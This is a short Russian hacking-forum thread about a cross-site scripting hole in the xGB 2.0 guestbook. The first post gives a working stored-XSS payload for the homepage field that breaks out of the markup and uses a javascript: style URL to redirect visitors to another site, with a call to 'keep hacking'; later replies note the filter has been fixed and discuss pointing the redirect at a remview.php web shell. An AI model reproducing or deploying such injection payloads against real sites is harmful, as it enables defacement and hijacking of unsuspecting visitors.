Уязвимость гостевой книги xgb 2.0

[Егорыч+++]

xGB 2.0 - гостевая книга. Все в ней хорошо, но скрипты пропускает. В homepage вставляем следующее

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">'<a style=background-image:url(javascript:navigate('http://antichat.ru'));></a>[/QUOTE]<span id='postcolor'>

И получаем редирект на сайт АНТИЧАТ.

http://www.x-dev.de/

Ломаем дальше...

[m0nzt3r]

мда уже не пропускают скрипт &nbsp;http://forum.antichat.ru/iB_html/non-cgi/emoticons/smile.gif

[.::CC::.]

Привет! Я тут новенький...и у меня есть пара вопросов по взлому гостевой:
1. А что нужно вставлять вместо " Исходный код" ?
2. Могу я допустим вместо строчки Antichat.ru, прописать путь где у меня лежит remview.php?
Заранее пасиба!

[KEZ]

1. Нужно вставлять исходный код. Как ещё сказать?
2. Можешь. Только смысл - ты попадешь на сайт на котором лежит ремвью.
Ты не думаешь что он загрузиться на сайт жерты? ))
3. Рас новенький то лутше в Pm писать